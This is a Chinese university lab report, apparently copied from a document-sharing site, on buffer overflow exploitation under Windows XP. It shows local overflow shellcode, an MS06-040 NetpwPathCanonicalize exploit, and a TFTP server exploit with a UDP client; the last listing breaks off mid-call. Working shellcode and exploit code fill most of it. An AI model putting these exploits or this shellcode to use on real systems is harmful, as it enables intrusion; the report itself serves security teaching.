缓冲区溢出实验报告.docx
- 文档编号:23652516
- 上传时间:2023-05-19
- 格式:DOCX
- 页数:19
- 大小:273.05KB
缓冲区溢出实验报告.docx
《缓冲区溢出实验报告.docx》由会员分享,可在线阅读,更多相关《缓冲区溢出实验报告.docx(19页珍藏版)》请在冰豆网上搜索。
缓冲区溢出实验报告
华中科技大学计算机学院
《信息系统应用安全》实验报告
实验名称缓冲区溢出实验
团队成员:
姓名
班级
学号
贡献百分比
得分
高涛
信安0703班
U200714975
100%
注:
团队成员贡献百分比之和为1
教师评语:
一.实验环境
⏹操作系统:
WindowsXPSP3
⏹编译平台:
VisualC++6.0
⏹调试环境:
OllyDbg
二.实验目的
1.掌握缓冲区溢出的原理;
2.掌握缓冲区溢出漏洞的利用技巧;
3.理解缓冲区溢出漏洞的防措施。
三.实验容及步骤
1.缓冲区溢出漏洞产生的的基本原理和攻击方法
⏹缓冲区溢出模拟程序
程序源代码如下:
#include"string.h"
#include"stdio.h"
#include
//charname[]="AAAAAAAAAAAAAAAA";
charname[]="AAAAAAAAAAAAABCD";
intmain()
{
charoutput[8];
strcpy(output,name);//存拷贝,如果name长度超过8,则出现缓冲区溢出
for(inti=0;i<8&&output[i];i++)
{
printf("\\0x%x",output[i]);
}
printf("\n");
return0;
}
运行该程序产生访问异常:
由于拷贝字符串时产生缓冲区溢出,用“ABCD”字符串的值覆盖了原来EIP的值,所以main函数返回时EIP指向44434241,引发访问异常。
⏹运行命令窗口的shellcode
shellcode测试代码如下:
#include"string.h"
#include"stdio.h"
#include
charname[]=
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"///覆盖ebp
"\x12\x45\xfa\x7f"////覆盖eip,jmpesp地址7ffa4512
"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d"
"\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63"
"\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e"
"\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c"
"\x8d\x45\xf4\x50\xb8"
"\x77\x1d\x80\x7c"//LoadLibraryW的地址
"\xff\xd0"
"\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73"
"\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72"
"\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63"
"\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57"
"\xba"
"\xc7\x93\xbf\x77"//System的地址
"\xff\xd2";
intmain()
{
charoutput[8];
strcpy(output,name);
for(inti=0;i<8&&output[i];i++)
{
printf("\\0x%x",output[i]);
}
printf("\n");
return0;
}
shellcode测试代码运行效果如下:
由于把main函数的返回EIP地址替换成了jmpesp的地址,main函数返回的时候就会执行我们的shellcode代码。
该shellcode,运行命令窗口。
2.MS06-040缓冲区溢出漏洞分析和利用
⏹溢出点定位
溢出点定位源代码
#include
typedefvoid(*MYPROC)(LPTSTR);
intmain()
{
chararg_1[0x320];
chararg_2[0x440];
intarg_3=0x440;
chararg_4[0x100];
longarg_5=44;
inti=0;
HINSTANCELibHandle;
MYPROCTrigger;
chardll[]="./netapi32.dll";
charVulFunc[]="NetpwPathCanonicalize";
LibHandle=LoadLibrary(dll);//加载当前目录的netapi32.dll
Trigger=(MYPROC)GetProcAddress(LibHandle,VulFunc);//获得NetpwPathCanonicalize的调用地址
//填充参数
memset(arg_1,0,sizeof(arg_1));//先清零存
memset(arg_1,'a',sizeof(arg_1)-2);//必须使用null结束符,填充a
arg_1[792]='c';
arg_1[793]='c';
arg_1[794]='c';
arg_1[795]='c';
memset(arg_4,0,sizeof(arg_4));//先清零存
memset(arg_4,'b',sizeof(arg_4)-2);//必须使用null结束符,填充b
(Trigger)(arg_1,arg_2,arg_3,arg_4,&arg_5,0);//调用NetpwPathCanonicalize
FreeLibrary(LibHandle);
return0;
}
程序运行效果如下:
可以看到错误访问地址为63636363,即为‘c’的编码,所以成功得定位了溢出点。
⏹漏洞利用
漏洞利用的源代码如下:
#include
typedefvoid(*MYPROC)(LPTSTR);
charshellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
intmain()
{
chararg_1[0x320];
chararg_2[0x440];
intarg_3=0x440;
chararg_4[0x100];
longarg_5=44;
HINSTANCELibHandle;
MYPROCTrigger;
chardll[]="./netapi32.dll";
charVulFunc[]="NetpwPathCanonicalize";
LibHandle=LoadLibrary(dll);
Trigger=(MYPROC)GetProcAddress(LibHandle,VulFunc);
memset(arg_1,0,sizeof(arg_1));
memset(arg_1,0x90,sizeof(arg_1)-2);
memset(arg_4,0,sizeof(arg_4));
memset(arg_4,'a',sizeof(arg_4)-2);
memcpy(arg_4,shellcode,168);
arg_1[0x318]=0xF9;//CALLECX的地址
arg_1[0x319]=0x52;
arg_1[0x31A]=0x18;
arg_1[0x31B]=0x75;
(Trigger)(arg_1,arg_2,arg_3,arg_4,&arg_5,0);
FreeLibrary(LibHandle);
}
漏洞利用的效果如下:
可以看到成功的利用该漏洞,弹出了一个对话框。
3.TFTPD溢出漏洞分析与利用
⏹溢出点定位
1.构造FUZZ
tftp127.0.0.1getAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
FUZZ中包含288个A,这个值是通过多次测试获得的,运行效果如下,可以看到发生了溢出:
2.确定溢出点
采用284个’A’+’1234’的fuzz,运行效果如下:
可以看到程序转到了34333231,溢出点定位成功。
3.程序中溢出点定位
使用OllyDbg打开程序,首先找到recvfrom函数,方法是右键点击Searchfor选项,找到Nameincurrentmodule,在其中找到recvfrom,
如下所示:
从这里找到recvfrom函数的位置,在此设置断点:
然后启动tftp,重新运行fuzz,程序会进入到断点,跟踪程序的运行过程,发现程序运行到一个strcpy函数时造成溢出,如下图所示:
运行004063A4函数之后,栈的状态如下,可以看到EIP被我们的数据覆盖:
运行到下面的代码处,程序跳转到34333231处,至此溢出点定位完毕。
⏹溢出漏洞利用分析
首先肯定是想到利用JMPESP,但是发现EIP后面是两个函数参数,如果覆盖该参数,将在函数返回之前触发异常,无法进入到我们的shellcode。
从上图也可以看出,EIP后面的第二个参数恰好指向我们构造的字符串,那么如果我们能够把00E81F62送入EIP,可以发现函数返回之前的ESP指向010BF3C8,如果能够把ESP减去4,然后运行RET指令,就可以把00E81F62送入EIP,ESP-8相当于一次POP操作,这样如果我们把EIP指向有:
POPX
RET
代码串的指令地址,即可使得shellcode被执行,在系统DLL中搜索该指令串,发现在7FFC01B0处有该指令代码:
这样就可以构造如下的shellcode:
"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d"//12
"\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63"//24
"\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e"//36
"\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c"//48
"\x8d\x45\xf4\x50\xb8"//53
"\x77\x1d\x80\x7c"//LoadLibraryW的地址//57
"\xff\xd0"//59
"\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73"//71
"\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72"//83
"\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63"//95
"\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57"//107
"\xba"//108
"\xc7\x93\xbf\x77"//System的地址//112
"\xff\xd2"//114
"\x90\x90\x90\x90"//118
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//128
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//138
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//148
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//158
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//168
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//178
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//188
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//198
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//208
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//218
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//228
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//238
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//248
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//258
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//268
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//278
"\x90\x90\x90\x90\x90\x90"//284
"\xB0\x01\xFC\x7F"//EIP地址//288
该shellcode为弹出一个命令窗口的shellcode,EIP指向7FFC01B0,按照上面的分析,程序将运行shellcode。
⏹漏洞利用
直接在fuzz中加入EIP跳转地址7FFC01B0,构造fuzz如下284个’A’+0xB0+0x01+0xFC+0x7F,发送到服务器端,发现实际地址不对:
发现这是因为tftp发送的时候只能发送有效的字符,而无效的字符无法发送过去,这样我们必须自己实现tftp客户端,程序代码如下:
#include
#include
#include
//弹出命令框的Shell长度
#defineCMD_SHELL_LENGTH300
//弹出命令框的shellcode
charcmdshell[CMD_SHELL_LENGTH+1]=
"\x00\x01"//2
"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d"//14
"\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63"//26
"\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e"//38
"\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c"//50
"\x8d\x45\xf4\x50\xb8"//55
"\x77\x1d\x80\x7c"//LoadLibraryW的地址//59
"\xff\xd0"//61
"\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73"//73
"\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72"//85
"\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63"//97
"\xc6\x45\xfb\x6d\xc6\x45\xfc\x64\x8d\x7d\xf4\x57"//109
"\xba"//110
"\xc7\x93\xbf\x77"//System的地址//114
"\xff\xd2"//116
"\x90\x90\x90\x90"//120
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//130
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//140
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//150
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//160
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//170
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//180
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//190
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//200
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//210
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//220
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//230
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//240
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//250
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//260
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//270
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//280
"\x90\x90\x90\x90\x90\x90"//286
"\xB0\x01\xFC\x7F"//EIP地址//290
"\x0netascii\x0";//300
voidmain()
{
WORDwVersionRequested;//版本数据
WSADATAwsaData;//初始化数据
interr;//返回错误码
//初始化版本字段
wVersionRequested=MAKEWORD(2,2);
//初始化库
err=WSAStartup(wVersionRequested,&wsaData);
if(err!
=0)
{
return;
}
if(LOBYTE(wsaData.wVersion)!
=2||HIBYTE(wsaData.wHighVersion)!
=2)
{
WSACleanup();
return;
}
//构造SOCKET
SOCKETsockClient=socket(AF_INET,SOCK_DGRAM,0);
//初始化地址字段
SOCKADDR_INaddrSrv;
addrSrv.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
addrSrv.sin_family=AF_INET;
addrSrv.sin_port=htons(69);
//发送shellcode
sendto(sockClient,cmdshell,CMD_SHELL_LENGTH,0,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR)
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 缓冲区 溢出 实验 报告